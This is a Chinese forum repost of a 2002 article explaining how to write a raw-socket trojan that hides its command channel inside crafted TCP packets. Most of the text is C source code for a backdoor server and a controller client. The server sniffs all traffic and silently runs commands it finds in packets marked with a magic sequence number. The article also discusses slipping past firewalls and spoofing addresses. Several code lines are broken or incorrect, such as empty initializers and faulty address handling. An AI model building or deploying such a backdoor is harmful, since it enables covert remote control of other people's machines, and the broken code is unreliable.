发新话题
打印

[转载]基于嗅探原理的原始套接字木马编写原理

[转载]基于嗅探原理的原始套接字木马编写原理

文章作者:refdom@xfocus.org

  基于嗅探原理的原始套接字木马。

  首先我们说说现有木马的特点和功能。早期木马一般都是基于TCP连接的,现在这种木马的生存能力
非常有限,因为直接基于连接的木马很容易被拦截或者发现。然后有通过改变协议来实现通讯隐藏的木马,
比如采用UDP或者ICMP或者其他协议的,当然,这些协议通常对于主机来说并不常用,所以很多安全配置
上就要求尽量禁止这些协议,比如禁止ICMP,让ICMP木马没有了生存机会。反向连接或者ACK木马等非常流
行,因为表现为不是直接的由外向内的TCP连接。

  当然木马还更多发展在自身的隐藏上,比如注射、核心木马等。不过该方法的重点暂不是自身进程的
隐藏,而强调在通讯方式上。

  这里讲的一种实现方式是:使用基于嗅探原理的原始套接字木马。它的基本实现是:服务器端是一个
sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据
包并包括定义的命令以及接收server的数据。当server捕获到该指定特征的数据包时,变成激活状态,通
过分析该数据包,获得client发送的命令和client的IP地址,然后实现相应的命令,并将执行后的结果发
送回client,client的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字(或相应)进行。

  比如:我们设置特定的协议或者ACK或者其他位及其集合为特征。

  该方式的优点:完全基于非连接状态,使用原始包进行通讯,不同协议有关,可使用任意协议,可采
用任意指定的数据包形式,可实现部分的隐藏地址(如果是非交换的局域网则是可以完全的隐藏地址)、
可实现无连接反向通讯、甚至能够突破一些防火墙的监视;

  缺点:不是可靠的数据连接、不稳定地执行大数据传输,对于数据流量较大的SERVER,其sniffer的效
率占很重要的地位;

  以下是一个简单的演示,看起来比较象一个后门。呵呵。麻雀虽小,五脏具全。

  其中定义了一个简单的木马协议,基于TCP协议基础上,使用了SEQ位来判别而不基于端口,能够执行指定的命令。


定义部分:

#define MAX_PACKET_SIZE      65536
#define SEQ_IDENTITY      12345   //验证是否符合需要的SEQ值,这个值在正常包中不会有吧!
#define TROJAN_ID_IDENTITY   6789   //验证是否符合需要的trojan_id值
#define LOCAL_PORT      1234   //本地Port, 这个定义并没有实际意义
#define SERVER_PORT      80   //服务端Port, 这个定义并没有实际意义

typedef struct ip_hdr           //定义IP首部
{
  unsigned char   h_verlen;      //4位首部长度,4位IP版本号
  unsigned char   tos;        //8位服务类型TOS
  unsigned short   total_len;      //16位总长度(字节)
  unsigned short   ident;        //16位标识
  unsigned short   frag_and_flags;   //3位标志位
  unsigned char   ttl;        //8位生存时间 TTL
  unsigned char   proto;        //8位协议 (TCP, UDP 或其他)
  unsigned short   checksum;      //16位IP首部校验和
  unsigned int   sourceIP;      //32位源IP地址
  unsigned int   destIP;        //32位目的IP地址
}IP_HEADER, *PIP_HEADER;

typedef struct psd_hdr           //定义TCP伪首部
{
  unsigned long   saddr;        //源地址
  unsigned long   daddr;        //目的地址
  char        mbz;
  char        ptcl;        //协议类型
  unsigned short   tcpl;        //TCP长度
}PSD_HEADER;


typedef struct tcp_hdr           //定义TCP首部
{
  unsigned short   th_sport;      //16位源端口
  unsigned short   th_dport;      //16位目的端口
  unsigned int   th_seq;        //32位序列号
  unsigned int   th_ack;        //32位确认号
  unsigned char   th_lenres;      //4位首部长度/6位保留字
  unsigned char   th_flags;      //6位标志位
  unsigned short   th_win;        //16位窗口大小
  unsigned short   th_sum;        //16位校验和
  unsigned short   th_urp;        //16位紧急数据偏移量
}TCP_HEADER, *PTCP_HEADER;

typedef struct trojan_packet      //定义木马使用的协议
{
  unsigned int   trojan_id;      //木马数据包的标识,网络顺序
  unsigned short   trojan_len;      //执行的命令长度,主机顺序
}TROJAN_HEADER, *PTROJAN_HEADER;


/*
木马数据包的结构

-------------------------------------------------------------
| IP Header | TCP Header  | Trojan Header | Trojan Command
-------------------------------------------------------------

包的最小程度是46字节
*/

#pragma pack(pop)


SERVER部分的演示(Server.cpp):

////////////////////////////////////////////////////////////////////////////////
//     
//    SniffTrojan
//     
//    File    : Server.cpp
//    Comment  : The Server model
//     
//    Created at : 2002.9.13
//    Created by : Refdom
//      Email    : refdom@263.net
//      Home Page : www.opengram.com
//
//      If you modify the code, or add more functions, please email me a copy.
//     
////////////////////////////////////////////////////////////////////////////////

/*
木马数据包的结构

-------------------------------------------------------------
| IP Header | TCP Header  | Trojan Header | Trojan Command
-------------------------------------------------------------

包的最小程度是46字节
*/

//////////////////////////////////////////////////

void Usage();

int SniffThread();

int SendThread();

int DecodeData(char* pBuffer);

unsigned long GetLocalIP();

//////////////////////////////////////////////////

int main(int argc, char* argv[])
{
  WSADATA WSAData;
  int nRetCode = 0;

  if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
  {
    //WSAStartup Error!
    printf("WSAStartup Error!%d\n", WSAGetLastError());
    nRetCode = -1;
    return nRetCode;
  }
  
  //开始嗅探数据
  SniffThread();

  //quit
  WSACleanup();

  return 0;
}

void Usage()
{
  printf("**************************************************\n");
  printf("Demo For SniffTrojan\n\n");
  printf("\t Written by Refdom\n");
  printf("\t Email: refdom@xfocus.org  or  refdom@263.net\n");
  printf("\t Homepage: www.xfocus.org  or  www.opengram.com\n");
  printf("**************************************************\n");
}

int SniffThread()
{
  int nRetCode = 0;
  int nRecvBytes = 0;

  char* pBuffer = NULL;

  SOCKET nSock = INVALID_SOCKET;
  SOCKADDR_IN addr_in;

  DWORD dwBufferLen[10];
  DWORD dwBufferInLen = 1;
  DWORD dwBytesReturned = 0;

  //define a raw socket
  nSock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (INVALID_SOCKET == nSock)
  {
    nRetCode = -1;
    goto Exit0;
  }

  addr_in.sin_family = AF_INET;
  addr_in.sin_port  = INADDR_ANY;
  addr_in.sin_addr.S_un.S_addr = GetLocalIP();

  nRetCode = bind(nSock, (struct sockaddr*)&addr_in, sizeof(addr_in));
  if (SOCKET_ERROR == nRetCode)
  {
    printf("BIND Error!%d\n", WSAGetLastError());
    goto Exit0;
  }

  //socket for sniffer
  nRetCode = WSAIoctl(nSock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen),
    &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL );
  if (SOCKET_ERROR == nRetCode)
  {
    printf("WSAIOCTL Error!%d\n", WSAGetLastError());
    goto Exit0;
  }

  //start sniffing
  pBuffer = (char*)malloc(MAX_PACKET_SIZE);
  while(1)
  {
    memset(pBuffer, 0, MAX_PACKET_SIZE);

    nRecvBytes = recv(nSock, pBuffer, MAX_PACKET_SIZE, 0);
    if (SOCKET_ERROR == nRetCode)
    {
       printf("RECV Error!%d\n", WSAGetLastError());
       goto Exit0;
    }

    if (nRecvBytes < 46)
       continue;
     
    DecodeData(pBuffer);   //数据解码

  }

Exit0:

  if (pBuffer != NULL)
    free(pBuffer);

  if (nSock != INVALID_SOCKET)
    closesocket(nSock);

  return nRetCode;
}

//获取本地IP地址
unsigned long GetLocalIP()
{
  char szLocalIP[20] = ;
  char szHostName[128+1] = "";
  hostent *phe;
  int i;
  if( gethostname(szHostName, 128 ) == 0 ) {
    // Get host adresses
    phe = gethostbyname(szHostName);
    for( i = 0; phe != NULL && phe->h_addr_list!= NULL; i++ )
    {
       sprintf(szLocalIP, "%d.%d.%d.%d",
          (UINT)((UCHAR*)phe->h_addr_list)[0],
          (UINT)((UCHAR*)phe->h_addr_list)[1],
          (UINT)((UCHAR*)phe->h_addr_list)[2],
          (UINT)((UCHAR*)phe->h_addr_list)[3]);
    }
  }
  else
    return 0;

  return inet_addr(szLocalIP);
}


int DecodeData(char* pBuffer)
{
  int nRetCode = 0;
  char* pCommand = NULL;
  unsigned short usCmdLength = 0;

  PIP_HEADER pIPHeader = NULL;
  PTCP_HEADER pTCPHeader = NULL;
  PTROJAN_HEADER pTrojanHeader = NULL;

  pIPHeader = (PIP_HEADER)pBuffer;

  //只取TCP包
  if (pIPHeader->proto != IPPROTO_TCP)
    goto Exit0;

  pTCPHeader = (PTCP_HEADER)(pBuffer + sizeof(IP_HEADER));

  //验证该TCP包是否其SEQ值符合需要
  if (ntohs(pTCPHeader->th_seq) !=  SEQ_IDENTITY)
    goto Exit0;

  pTrojanHeader = (PTROJAN_HEADER)(pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER));

  //验证该TCP包是否是合法的木马包
  if (ntohs(pTrojanHeader->trojan_id) != TROJAN_ID_IDENTITY)
    goto Exit0;

  usCmdLength = pTrojanHeader->trojan_len;   //获得命令的长度

  if (0 == usCmdLength)
    goto Exit0;

  printf("OK!\n");

  pCommand = (char*)malloc(usCmdLength + 1);
  memset(pCommand, 0, usCmdLength + 1);

  memcpy(pCommand, pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), usCmdLength);

  nRetCode = WinExec(pCommand, SW_HIDE);   //执行命令
  if (nRetCode > 31)
  {
    //WinExec Successfully!
  }

Exit0:

  return nRetCode;
}


控制端的演示(Client.cpp):


//////////////////////////////////////////////////
void Usage()
{
  printf("**************************************************\n");
  printf("Demo For SniffTrojan\n\n");
  printf("\t Written by Refdom\n");
  printf("\t Email: refdom@xfocus.org  or  refdom@263.net\n");
  printf("\t Homepage: www.xfocus.org  or  www.opengram.com\n");
  printf("Usage: Client.exe ServerIP Command\n");
  printf("eg:Client.exe 192.168.0.2 \"net user guest /active\"\n");
  printf("**************************************************\n");
}
//////////////////////////////////////////////////

int main(int argc, char* argv[])
{
  int nRetCode = 0, nCommandLength = 0;
  char szDataBuf[MAX_PACKET_SIZE] = ;
  char* pCommand = NULL;

  BOOL bOption;
  WSADATA WSAData;
  SOCKET nSock = INVALID_SOCKET;
  SOCKADDR_IN   addr_in;

  IP_HEADER IP_Header;
  TCP_HEADER TCP_Header;
  PSD_HEADER PSD_Header;
  TROJAN_HEADER Trojan_Header;

  Usage();

  if (argc != 3)
  {
    printf("\nArguments Error!\n");
    return -1;
  }

  //获得需要执行的命令
  nCommandLength = strlen(argv[2]);
  pCommand = (char*)malloc(nCommandLength + 2);
  memset(pCommand, 0, nCommandLength + 2);
  memcpy(pCommand, argv[2], nCommandLength);


  if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
  {
    //WSAStartup Error!
    printf("WSAStartup Error!%d\n", WSAGetLastError());
    nRetCode = -1;
    return nRetCode;
  }

  nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
  if (INVALID_SOCKET == nSock)
  {
    printf("SOCKET Error!%d\n", WSAGetLastError());
    goto Exit0;
  }

  nRetCode = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption));
  if (SOCKET_ERROR == nRetCode)
  {
    printf("SetSockOpt Error!%d\n", WSAGetLastError());
    goto Exit0;
  }

  //填充IP首部
  IP_Header.h_verlen = (4 << 4) | (sizeof(IP_HEADER) / sizeof(unsigned long));
  IP_Header.tos = 0;
  IP_Header.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
  IP_Header.frag_and_flags = 0;
  IP_Header.ttl = 128;
  IP_Header.proto = IPPROTO_TCP;
  IP_Header.checksum = 0;
  IP_Header.sourceIP = GetLocalIP();   //当然可以伪造自己的地址
  IP_Header.destIP = inet_addr(argv[1]);  //服务器端IP地址,如果是非交换网络,那么可以不是服务器的地址,而设置一个同网

段或者同HUB的地址。

  //填充TCP首部
  TCP_Header.th_sport = htons(LOCAL_PORT);  //这个端口没有实际意义,倒是可以躲开防火墙
  TCP_Header.th_dport = htons(SERVER_PORT); //这个端口没有实际意义,倒是可以躲开防火墙
  TCP_Header.th_seq = htons(SEQ_IDENTITY);      //木马服务器端的识别标志
  TCP_Header.th_ack = 345678;
  TCP_Header.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
  TCP_Header.th_flags = 0x01;        //随意设置TCP标志位
  TCP_Header.th_win = 12345;
  TCP_Header.th_urp = 0;
  TCP_Header.th_sum = 0;

  //填充木马协议的头部
  Trojan_Header.trojan_id = htons(TROJAN_ID_IDENTITY);
  Trojan_Header.trojan_len = nCommandLength;

  //填充TCP伪首部(用于计算校验和)
  PSD_Header.saddr = IP_Header.sourceIP;
  PSD_Header.daddr = IP_Header.destIP;
  PSD_Header.mbz = 0;
  PSD_Header.ptcl = IPPROTO_TCP;
  PSD_Header.tcpl = htons(sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength);

  //计算TCP校验和
  memcpy(szDataBuf, &PSD_Header, sizeof(PSD_HEADER));
  memcpy(szDataBuf + sizeof(PSD_HEADER), &TCP_Header, sizeof(TCP_HEADER));
  memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER));
  memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);
  TCP_Header.th_sum = CheckSum((unsigned short *)szDataBuf, sizeof(PSD_HEADER) + sizeof(TCP_HEADER) +

sizeof(TROJAN_HEADER) + nCommandLength);

  //填充发送缓冲区
  memcpy(szDataBuf, &IP_Header, sizeof(IP_HEADER));
  memcpy(szDataBuf + sizeof(IP_HEADER), &TCP_Header, sizeof(TCP_HEADER));
  memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER));
  memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength);

  addr_in.sin_family = AF_INET;
  addr_in.sin_port = htons(LOCAL_PORT);
  addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);

  //发送命令
  printf("Start to send command...\n");
  nRetCode = sendto(nSock, szDataBuf,
              sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength,
              0, (struct sockaddr*)&addr_in, sizeof(addr_in));
  if (SOCKET_ERROR == nRetCode)
  {
    printf("Sendto Error!%d\n", WSAGetLastError());
    goto Exit0;
  }

  printf("Send OK!\n");


Exit0:

  if (pCommand != NULL)
    free(pCommand);

  if (nSock != INVALID_SOCKET)
    closesocket(nSock);
  
  WSACleanup();

  return 0;
}


2002年的文章 现在还在传 算了 冰血封情还是发吧

TOP

发新话题